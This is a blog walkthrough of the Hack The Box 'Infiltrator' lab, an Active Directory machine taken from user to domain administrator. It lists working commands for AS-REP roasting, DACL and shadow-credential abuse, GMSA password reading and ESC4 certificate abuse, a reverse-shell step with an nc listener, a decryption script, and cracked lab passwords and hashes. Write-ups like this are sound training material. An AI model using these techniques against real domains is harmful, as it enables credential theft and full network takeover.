LoginHack The Box: Inflitrator Machine Walkthrough – Insane Difficulity
Introduction to Infiltrator:
In this write-up, we will explore the “Infiltrator” machine from Hack The Box, categorised as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective on Infiltrator machine:
The goal of this walkthrough is to complete the “Infiltrator” machine from Hack The Box by achieving the following objectives:
User Flag:
We start by finding user accounts that don’t have strong protections, like l.clark. Then, we use tools to grab their password hash, which is like a scrambled password. After cracking it, we get the actual password and use it to remotely access their desktop, where we find the first flag. If normal remote login doesn’t work, we try other methods like accessing shared folders to get in.
Root Flag:
Next, we exploit a weakness in the company’s certificate system. This flaw lets us request a special digital certificate that gives us admin-level access. Using this certificate, we log in as the administrator and grab the second flag from their desktop. This works because attackers can exploit the certificate system’s vulnerable configuration.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oN nmap_initial.txt 10.10.11.31Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/infiltrator]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.31
Nmap scan report for 10.10.11.31
Host is up (0.16s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: Potentially risky: TRACE
|_http-title: Infiltrator.htb
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-19 12:21:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
| ssl-cert: SAN=dc01.infiltrator.htb, infiltrator.htb, INFILTRATOR
| Not valid before: 2024-08-04; Not valid after: 2099-07-17
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows AD LDAP
3268/tcp open ldap Microsoft Windows AD LDAP
3269/tcp open ssl/ldap Microsoft Windows AD LDAP
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: Domain=INFILTRATOR, Host=DC01, OS=10.0.17763
| ssl-cert: commonName=dc01.infiltrator.htb (valid until 2025-09-17)
Service Info: Host: DC01; OS: WindowsAnalysis:
- 53/tcp – DNS (Simple DNS Plus) for internal name resolution.
- 80/tcp – IIS 10.0 web server hosting Infiltrator.htb, TRACE enabled (may aid web testing).
- 88/tcp – Kerberos authentication (typical for AD environments).
- 135/tcp – MS RPC endpoint mapper (useful for enumeration).
- 139/tcp – NetBIOS session service (Windows file/printer sharing).
- 389/tcp – LDAP (Active Directory query in plaintext).
- 445/tcp – SMB service (file sharing, potential attack vector).
- 636/tcp – LDAPS (encrypted LDAP queries).
- 3268/tcp – Global Catalog LDAP (AD forest-wide search).
- 3269/tcp – Secure Global Catalog (LDAPS).
- 3389/tcp – RDP on DC01 (remote GUI access).
Web Enumeration on Infiltrator machine:
Web Application Exploration:
The website appears quite basic and unremarkable.
I noticed a few names listed on the “Young & Talented Members” page.
The potential username likely follows the format shown in the screenshot above.
A more efficient approach is to combine the username with the domain and utilise Kerbrute for enumeration.
Enumerating using impacket on infiltrator machine
The user l.clark was chosen because it does not require pre-authentication, which means the domain controller allows a request for a Kerberos ticket without verifying the user’s password first. This makes it possible to use the command below to request a ticket without supplying a password (--no-pass) aiding in offline password cracking or further enumeration:
impacket-GetNPUsers infiltrator.htb/l.clark --no-pass -dc-ip dc01.infiltrator.htb -outputfile user.out
The hash appears as shown in the screenshot.
I used a tool called Hashcat, which takes about a minute to try many possible passwords against the scrambled one until it finds the right match. That’s how I uncovered the password: WAT?watismypass!.
I was hoping it would work, but sadly, it didn’t authenticate with evil-winrm.
Finding an Access Path
The shares ‘admin’, ‘c$’, ‘netlogon’, and ‘sysvol’ are present but have no write permissions when accessed via impacket-psexec.
Access denied error (rpc_s_access_denied) encountered when using atexec.
Encountered WMI session error with code 0x80041003 (WBEM_E_ACCESS_DENIED) while executing wmiexec.
SMB enumeration didn’t give any useful info. Plus, even after checking thoroughly, I couldn’t find anything valuable.
All attempts failed, returning a status_logon_failure error.
Therefore, let’s highlight only l.clark the user associated with the previously identified password. Unexpectedly, the authentication was successful.
Attempted to gather information using BloodHound-python but failed due to a KRB_AP_ERR_SKEW error.
Let’s synchronise the system date and time using the ntpdate command.
In the end, I successfully completed the operation, which was quite unexpected.
BloodHound Enumeration
Summary of the BloodHound output collected directly from the machine.
It looks like user accounts like d.anderson and e.rodriguez are linked to generic or shared digital access, suggesting weak or unclear ownership that could be exploited.
Since NTLM login is disabled, you can interact directly with Kerberos to get a ticket-granting ticket (TGT):
impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!' -dc-ip dc01.INFILTRATOR.HTB
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Saving ticket in d.anderson.ccacheThis command obtains and saves the Kerberos ticket.
DACL Abuse inside the Infiltrator machine
User d.anderson has GenericAll permissions on the MARKETING DIGITAL OU, which allows for DACL abuse.
You can use the dacledit.py script from Impacket to modify permissions:
dacledit.py -action write -rights FullControl -inheritance -principal d.anderson -target-dn "OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB" infiltrator.htb/d.anderson -k -no-pass -dc-ip 10.10.11.31This command grants full control permissions on the target OU.
Shadow Credentials for Infiltrator machine
Since D. Anderson has Full Control over the MARKETING DIGITAL group and E. RODRIGUEZ is part of that group, you can add shadow credentials to escalate privileges.
Using BloodyAD, an Active Directory privilege escalation tool, run the following command:
bloodyAD --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -d infiltrator.htb -u d.anderson -k add shadowCredentials E.RODRIGUEZKeep in mind that the password you set for the shadow credential needs to follow the domain’s password rules, usually requiring uppercase and lowercase letters, numbers, and special characters.
We successfully changed the password, as shown in the screenshot above.
Kerberos Ticket Authentication on
The user e.rodriguez has permission to add themselves to the Chief’s Marketing group and can also change the password of m.harris. This means e.rodriguez holds unusually high privileges that could be abused to gain more access or control over sensitive
After we changed e.rodriguez’s password, we needed to prove to the network that we are now acting as this user. To do this, we requested something called a Kerberos ticket — think of it like a digital badge that confirms your identity on the network.
The first command:
impacket-getTGT infiltrator.htb/"e.rodriguez":"P@ssw0rd" -dc-ip dc01.infiltrator.htbThis tells the system:
- “Hey, get me a Kerberos ticket for the user
e.rodriguezusing the new password P@ssw0rd” infiltrator.htbis the domain (like a company name on the network).-dc-ip dc01.infiltrator.htbspecifies the IP address of the domain controller — the server that manages user identities and passwords.
The second command:
export KRB5CCNAME=e.rodriguez.ccacheaccounts.
This tells your computer, “When you need to prove who you are on the network, use the ticket saved in the file e.rodriguez.ccache.” This way, other tools or commands can authenticate as e.rodriguez without asking for the password again.
In short, these commands let us log in as e.rodriguez on the network using the new password, but instead of typing the password each time, we use the Kerberos ticket as a secure proof of identity.
This command uses BloodyAD to add the user e.rodriguez to the “CHIEFS MARKETING” group in the Active Directory. By doing this, e.rodriguez gains the permissions and access rights of that group, potentially increasing control within the network.
It seems the password isn’t being accepted—maybe a cleanup script or some process is reverting it back to the old one.
Kerberos Configuration
After making the changes, you need to configure your system to use the Kerberos ticket properly. First, tell your system where the Kerberos server is and specify the ticket file by editing the configuration file as shown below:
$ cat /etc/krb5.conf
[libdefaults]
default_realm = INFILTRATOR.HTB
dns_lookup_kdc = false
dns_lookup_realm = false
[realms]
INFILTRATOR.HTB = {
kdc = 10.10.11.31
admin_server = 10.10.11.31
}
[domain_realm]
.infiltrator.htb = INFILTRATOR.HTB
infiltrator.htb = INFILTRATOR.HTBOnce this is set up, you can use evil-winrm to pass the Kerberos ticket and authenticate seamlessly.
This script should work if quick enough
Finally, we gained access to the evil-winrm shell.
We can view the user flag by running the command type user.txt.
Escalate to Root Privileges Access
Privilege Escalation:
The whoami /all command reveals the full security context of the current user, including group memberships and privileges. It’s a quick way to check if the user has elevated rights or special privileges like SeImpersonatePrivilege, which can be abused for privilege escalation. This makes it essential during post-exploitation to assess what actions the compromised account can perform.
If whoami /privs shows three privileges enabled, you can briefly explain it like this in your write-up:
Running whoami /privs revealed three enabled privileges. These indicate what special actions the current user can perform without needing admin rights. Commonly abused ones include SeMachineAccouuntPrivilege, SeChangeNotifyPrivilege, or SeIncreaseWorrkingSetPrivilege, which attackers often leverage for privilege escalation via token manipulation or service abuse. Identifying these helps determine viable escalation paths quickly.
Port-Forwarding on the Infiltrator Machine
Discovered several local services while inspecting network connections using the netstat command.
On the client side, these are the ports that need to be forwarded to our machine.
The port is actively listening for connections.
Output Messenger Access
It redirects us to a login page.
An Apache server is also running.
Clicking on it leads to a 404 error page.
We can log in to Output Messenger using K.Turner’s credentials.
K.turner’s wall contains a post mentioning the password for M. Harris.
Log in to the application via a web browser using the credentials we discovered earlier.
Unfortunately, it doesn’t display properly in the browser
wget https://www.outputmessenger.com/OutputMessenger_amd64.deb -O OutputMessenger_amd64.deb
sudo dpkg -i OutputMessenger_amd64.deb
outputmessengerThe commands start by downloading the Output Messenger installation package directly from its official website using wget, saving it as a .deb file on the local machine. Then, the package is installed with administrative privileges using dpkg, the Debian package manager, which handles the installation of .deb files. After the installation is complete, the outputmessenger command is used to launch the application, allowing access to its messaging features.
Let’s launch Output Messenger.
Use the same credentials as before to log in.
We have successfully logged into Output Messenger as m.harris, and the interface appears clean and visually appealing.
We should download the UserExplorer.exe file to our local machine for further analysis.
Cracking the password
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
def decrypt_string(key: str, cipher_text: str) -> str:
key_bytes = key.encode('utf-8')
cipher_bytes = base64.b64decode(cipher_text)
if len(key_bytes) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long")
cipher = Cipher(algorithms.AES(key_bytes), modes.CBC(b'\x00' * 16), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_bytes = decryptor.update(cipher_bytes) + decryptor.finalize()
return decrypted_bytes.decode('utf-8')
key = 'b14ca5898a4e4133bbce2ea2315a1916'
cipher_text = 'TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE='
print(decrypt_string(key,decrypt_string(key, cipher_text)))It works by taking a scrambled string (known as a ciphertext) and unlocking it using a method called AES encryption, which is a widely used standard for securing data. The key acts like a password that must match exactly for the decryption to succeed. If the key isn’t the right length, specifically 16, 24, or 32 characters, the program will stop and raise an error. Once everything is set up, it processes the ciphertext and converts it back into readable text. Interestingly, in this example, the program decrypts the message twice in a row, which might mean the original data was encrypted two times for extra security.
After some time, we successfully retrieved the password displayed above.
It should work like a charm.
It functions exactly as intended.
The privileges granted are the same as those of the previous user.
Database Analysis
There are two DB3 files available for further investigation.
Downloaded the database to our machine and observed several chatroom groups listed inside.
This hints at the presence of an account password, but access to the chat history in this channel is restricted. Coincidentally, the API key for it is available just above.
The user lan_management has permission to read the GMSA (Group Managed Service Account) password of infiltrator_svc. This means they can retrieve the service account’s credentials, which could be used to access systems or services that rely on that account, potentially a key step toward privilege escalation.
This command securely retrieves chat history from a local server using a unique API key for access. It specifically requests logs from a particular chatroom within the date range of August 1, 2023, to August 31, 2024. Once the data is received, it filters out just the chat logs and saves them into a file named dark.html. This allows users to back up or review past conversations in a readable format.
We retrieve the credentials for O.martinez.
I generated a PowerShell Base64-encoded reverse shell one-liner using revshells.com and saved it as rev.bat. After uploading the script to the Infiltrator machine, I scheduled a task to execute it. When the scheduled time arrived, the reverse shell successfully connected back, granting remote access.
dark@parrot$ rlwrap nc -lvnp 9007
Listening on 0.0.0.0 9007
Connection received on 10.10.11.31 50279
PS C:\Windows\system32> whoami
infiltrator\o.martinez
There is one .pcapng file, which is a Wireshark analysis file.
Download the file to our local machine.
Wireshark Analysis
We have a new_auth_token, which might be a password.
We save the bitlocker-backup.7z file to our machine in ASCII format.
BitLocker Backup
The file should resemble the example shown above.
However, it did not succeed for some reason.
Therefore, let’s download the file in “RAW” format.
In the end, the file is a properly formatted 7-zip archive.
Let’s crack the zip file
Discovered “zipper” as the password for the bitlocker-backup.7z archive.
The file was successfully unzipped using the password we found earlier.
There is one HTML file.
Unfortunately, the HTML file appears to be in French.
It contains BitLocker recovery keys, but I’m not sure what the keys are used for yet.
RDP Connection
Let’s connect to the machine using an RDP session.
Enter the credentials we found in the Wireshark packet.
Let’s enter the recovery key we found in the HTML file.
We successfully located the Backup_Credentials.7z file.
Download the backup file to our local machine.
There are two folders that we can explore further. We found several files, including ntds.dit, the Security and System files.
The obvious step here is to try dumping hashes from the NTDS file using secretsdump, but nothing interesting came out of it.
This command extracts important data from a Windows system’s security database and saves it into a new file for easier analysis.
This shows a list of user accounts, including their names and descriptions. The last line looks like a username and password combination.
The command connects to the server at 10.10.11.31 using the username “lan_management” and the password “l@n_M@an!1331.” It identifies the server as running Windows 10 or Server 2019 and successfully authenticates the user on the infiltrator.htb domain. After logging in, it retrieves Group Managed Service Account (GMSA) passwords. For instance, it obtains the NTLM hash for the account “infiltrator_svc$,” represented here as “xxx,” which is unique for each user. This process allows access to the server and extraction of valuable service account credentials.
This command checks if the account “infiltrator_svc$” with a specific password hash has any security weaknesses on the domain controller at 10.10.11.31, and it shows the results directly.
Exploiting ESC4 Vulnerability in Active Directory Certificate Services for Privilege Escalation
This article from RedFoxSec dives into how attackers exploit poorly secured Active Directory certificate templates. In many organisations, these templates control who can request or manage digital certificates, which are like electronic ID cards for devices and users. When the security settings on these templates are weak or misconfigured, attackers can abuse them to issue themselves trusted certificates. This allows them to impersonate users or computers, gain elevated access, and move freely inside the network without raising alarms. Understanding and fixing these vulnerabilities is crucial to preventing serious security breaches in a Windows environment.
We ran those commands, but they didn’t produce the expected results.
Therefore, we checked the network traffic and packets for issues, but no errors were found.
After some time, I hit a roadblock with the escalation and asked for advice from a friend who had successfully rooted it. We discovered that Certipy version 5.0.2 was causing the issue, so I decided to downgrade to an earlier version of Certipy. To my surprise, it worked perfectly.
We successfully obtained the administrator.pfx file as shown above.
The NTLM hash for the user administrator@infiltrator.htb was successfully extracted. The retrieved hash value is aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1.
Using these hashes, we successfully gained access as the administrator.
We can view the root flag by running the command type root.txt.
The post Hack The Box: Inflitrator Machine Walkthrough – Insane Difficulity appeared first on Threatninja.net.
